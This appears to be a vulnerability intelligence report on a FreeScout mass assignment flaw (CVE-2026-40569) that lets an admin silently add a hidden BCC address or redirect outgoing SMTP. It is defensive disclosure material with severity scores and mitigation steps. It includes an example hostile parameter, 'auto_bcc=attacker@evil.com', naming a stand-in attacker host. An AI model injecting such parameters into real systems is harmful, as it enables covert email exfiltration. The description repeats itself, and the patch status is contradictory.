Evidence used
- No CISA KEV confirmation is currently recorded.
- A structured source references public exploit or proof-of-concept material.
- EPSS is 0.52% for the current model date.
BlackTreeCVE IntelligenceFull vulnerability report · 2026
CVE-2026-40569High confidence
FreeScout's Mass Assignment in Mailbox Connection Settings Enables Silent Email Exfiltration
freescout-help-desk · freescout
Official source article: GitHub GHSA-HMQM-33WP-858J ↗. Check the applicable product and release in the original source.
9.0CriticalCVSS 3.1
Within 72 hours
Fix not verifiedCritical technical impact and a public exploit reference; no CISA KEV confirmation is currently recorded.
R
Open reassessment dashboard →Operational reassessment
Published severity in operational context
Published severityCritical→Operational priority:Critical, unchanged from published severity.unchanged
Compensating controls
- Restrict the affected network interface to trusted sources where business-safe.
- Increase monitoring for the attack path and post-exploitation behaviour described in the report.
Verification
- Confirm that the asset runs freescout-help-desk freescout and falls inside the recorded affected range.
- Recheck the vendor advisory before scheduling a change because no verified fixed version is currently retained.
- Validate exposure, authentication requirements and compensating controls in the actual environment.
- Reopen this reassessment when CVSS, KEV, EPSS, exploit evidence or remediation changes.
Critical technical impact and a public exploit reference; no CISA KEV confirmation is currently recorded.
Fix not verified01
What, why and how
FreeScout is a free self-hosted help desk and shared mailbox. Versions prior to 1.8.213 have a mass assignment vulnerability in the mailbox connection settings endpoints of FreeScout (`connectionIncomingSave()` at `app/Http/Controllers/MailboxesController.php:468` and `connectionOutgoingSave()` at line 398). Both methods pass `$request->all()` directly to `$mailbox->fill()` without any field allowlisting, allowing an authenticated admin to overwrite any of the 32 fields in the Mailbox model's `$fillable` array -- including security-critical fields that do not belong to the connection settings form, such as `auto_bcc`, `out_server`, `out_password`, `signature`, `auto_reply_enabled`, and `auto_reply_message`. Validation in `connectionIncomingSave()` is entirely commented out, and the validator in `connectionOutgoingSave()` only checks value formats for SMTP fields without stripping extra parameters. An authenticated admin user can exploit this by appending hidden parameters (e.g., `auto_bcc=attacker@evil.com`) to a legitimate connection settings save request. Because the `auto_bcc` field is not displayed on the connection settings form (it only appears on the general mailbox settings page), the injection is invisible to other administrators reviewing connection settings. Once set, every outgoing email from the affected mailbox is silently BCC'd to the attacker via the `SendReplyToCustomer` job. The same mechanism allows redirecting outgoing SMTP through an attacker-controlled server, injecting tracking pixels or phishing links into email signatures, and enabling attacker-crafted auto-replies -- all from a single HTTP request. This is particularly dangerous in multi-admin environments where one admin can silently surveil mailboxes managed by others, and when an admin session is compromised via a separate vulnerability (e.g., XSS), the attacker gains persistent email exfiltration that survives session expiry. Version 1.8.213 fixes the issue.
What
FreeScout is a free self-hosted help desk and shared mailbox. Versions prior to 1.8.213 have a mass assignment vulnerability in the mailbox connection settings endpoints of FreeScout (`connectionIncomingSave()` at `app/Http/Controllers/MailboxesController.php:468` and `connectionOutgoingSave()` at line 398). Both methods pass `$request->all()` directly to `$mailbox->fill()` without any field allowlisting, allowing an authenticated admin to overwrite any of the 32 fields in the Mailbox model's `$fillable` array -- including security-critical fields that do not belong to the connection settings form, such as `auto_bcc`, `out_server`, `out_password`, `signature`, `auto_reply_enabled`, and `auto_reply_message`. Validation in `connectionIncomingSave()` is entirely commented out, and the validator in `connectionOutgoingSave()` only checks value formats for SMTP fields without stripping extra parameters. An authenticated admin user can exploit this by appending hidden parameters (e.g., `auto_bcc=attacker@evil.com`) to a legitimate connection settings save request. Because the `auto_bcc` field is not displayed on the connection settings form (it only appears on the general mailbox settings page), the injection is invisible to other administrators reviewing connection settings. Once set, every outgoing email from the affected mailbox is silently BCC'd to the attacker via the `SendReplyToCustomer` job. The same mechanism allows redirecting outgoing SMTP through an attacker-controlled server, injecting tracking pixels or phishing links into email signatures, and enabling attacker-crafted auto-replies -- all from a single HTTP request. This is particularly dangerous in multi-admin environments where one admin can silently surveil mailboxes managed by others, and when an admin session is compromised via a separate vulnerability (e.g., XSS), the attacker gains persistent email exfiltration that survives session expiry. Version 1.8.213 fixes the issue.
Why
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
How
An attacker operating through a network path may attempt exploitation with elevated privileges. If successful, the issue may cause the confidentiality, integrity or availability impact described by the vendor.
What
FreeScout is a free self-hosted help desk and shared mailbox. Versions prior to 1.8.213 have a mass assignment vulnerability in the mailbox connection settings endpoints of FreeScout (`connectionIncomingSave()` at `app/Http/Controllers/MailboxesController.php:468` and `connectionOutgoingSave()` at line 398). Both methods pass `$request->all()` directly to `$mailbox->fill()` without any field allowlisting, allowing an authenticated admin to overwrite any of the 32 fields in the Mailbox model's `$fillable` array -- including security-critical fields that do not belong to the connection settings form, such as `auto_bcc`, `out_server`, `out_password`, `signature`, `auto_reply_enabled`, and `auto_reply_message`. Validation in `connectionIncomingSave()` is entirely commented out, and the validator in `connectionOutgoingSave()` only checks value formats for SMTP fields without stripping extra parameters. An authenticated admin user can exploit this by appending hidden parameters (e.g., `auto_bcc=attacker@evil.com`) to a legitimate connection settings save request. Because the `auto_bcc` field is not displayed on the connection settings form (it only appears on the general mailbox settings page), the injection is invisible to other administrators reviewing connection settings. Once set, every outgoing email from the affected mailbox is silently BCC'd to the attacker via the `SendReplyToCustomer` job. The same mechanism allows redirecting outgoing SMTP through an attacker-controlled server, injecting tracking pixels or phishing links into email signatures, and enabling attacker-crafted auto-replies -- all from a single HTTP request. This is particularly dangerous in multi-admin environments where one admin can silently surveil mailboxes managed by others, and when an admin session is compromised via a separate vulnerability (e.g., XSS), the attacker gains persistent email exfiltration that survives session expiry. Version 1.8.213 fixes the issue.
Why
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
How
An attacker operating through a network path may attempt exploitation with elevated privileges. If successful, the issue may cause the confidentiality, integrity or availability impact described by the vendor.
02
Exploit reality and attack path
CVSS severity, EPSS forecast probability, public exploit material and CISA-confirmed exploitation are separate signals.
Observed exploitation No confirmed evidence
?
Confirmed exploitation and public exploit material are separate signals. Attacks can occur without public proof-of-concept or exploit code.No CISA KEV match was present at the last successful refresh. This means no confirmation from that source, not proof of no exploitation.
Public PoC / exploit material Reference recorded
?
Confirmed exploitation and public exploit material are separate signals. Attacks can occur without public proof-of-concept or exploit code.CISA Vulnrichment records proof-of-concept exploitation in its SSVC data. BlackTree has not independently executed or validated exploit material.
- Likely attack path
- a network path → Improper Access Control → cause the confidentiality, integrity or availability impact described by the vendor
- Attack surface
- Network
- Privileges required
- High: elevated access is required
- User interaction
- None
- Attack complexity
- Low: no specialised conditions are recorded
- Security boundary
- Changed: exploitation can affect a different security authority
- Weakness
?
CWE means Common Weakness Enumeration: a standard category for the underlying weakness. - CWE-284 ↗
CWE-284: Improper Access Control. The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
- CVSS vector
?
CVSS means Common Vulnerability Scoring System. The vector records the metric values used to calculate technical severity. CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:LCommon Vulnerability Scoring System 3.1: the compact vector below is decoded into plain language.
AVNetworkAttack vector: The vulnerable component can be reached over a network.ACLowAttack complexity: No specialised conditions are required beyond attacker-controlled input.PRHighPrivileges required: The attacker needs elevated or administrative privileges.UINoneUser interaction: No action by another user is required.SChangedScope: The attack can affect a component governed by a different security authority.CHighConfidentiality impact: A successful attack can cause a major loss.IHighIntegrity impact: A successful attack can cause a major loss.ALowAvailability impact: A successful attack can cause a limited loss.- Post-exploitation / living off the land
- No specific living-off-the-land technique is confirmed in the structured sources. Monitor normal administration tools for activity inconsistent with the affected service's baseline.
03
Patch and workaround
Operational remediation based on structured source evidence.
- Status
?
Patch availability is based on structured fixed-version fields and authoritative update references. If no fix is verified, check the vendor advisory before making a change. - Fix not verified
- Affected
- freescout: < 1.8.213
- Fixed
- No fixed version is explicitly recorded in the structured CVE data.
- Action
- No verified patch reference is present in the current structured sources. Check the vendor advisory before making a change.
- Workaround
- No verified workaround is recorded. If business-safe, reduce exposure to the affected interface and allow only trusted sources until authoritative guidance is available.
04
Evidence and provenance
Published 21 Apr 2026 · Last source change 21 Apr 2026, 17:45 UTC · CWE-284 · Improper Access Control
CVE recordCVE.org · 5.2
CVSS sourceCNA
EPSS source FIRST · tracked since 2026-08-14
?
The date BlackTree first stored a score for this CVE from the daily FIRST EPSS feed.European sourceENISA EUVD · EUVD-2026-24171
Product sourceCNA
Remediation sourceCVE/CNA references
CWE sourceCNA
NVD statusNVD not scheduled
Core structured fields are present and their contributing authorities are shown above.
Material change intelligence
View recent updates ↗What changed after publication
No material field changes have been recorded since change tracking began. Routine source refreshes and cosmetic edits are intentionally excluded.
Technical terms and abbreviations used in this report
- CVE
- Common Vulnerabilities and Exposures: the public identifier for one disclosed vulnerability.
- CVSS
- Common Vulnerability Scoring System: a technical severity framework; it is not patching priority by itself.
- EPSS
- Exploit Prediction Scoring System: FIRST's estimate of the probability that exploitation activity will be observed in the next 30 days; it is a forecast, not confirmation.
- CWE
- Common Weakness Enumeration: the standard category describing the underlying software or hardware weakness.
- CNA
- CVE Numbering Authority: an organisation authorised to assign and publish CVE records.
- CISA ADP
- Cybersecurity and Infrastructure Security Agency Authorized Data Publisher: structured enrichment added to a CVE record.
- NVD
- National Vulnerability Database: NIST's enrichment service for CVE records.
- CERT / CSIRT
- A computer security incident response team that publishes warnings or coordinates incident response.
- PoC
- Proof of concept: public material that demonstrates or helps reproduce exploitation.
- CSAF
- Common Security Advisory Framework: a machine-readable format for security advisories.
- LoTL
- Living off the land: abuse of legitimate tools or system functions during an attack.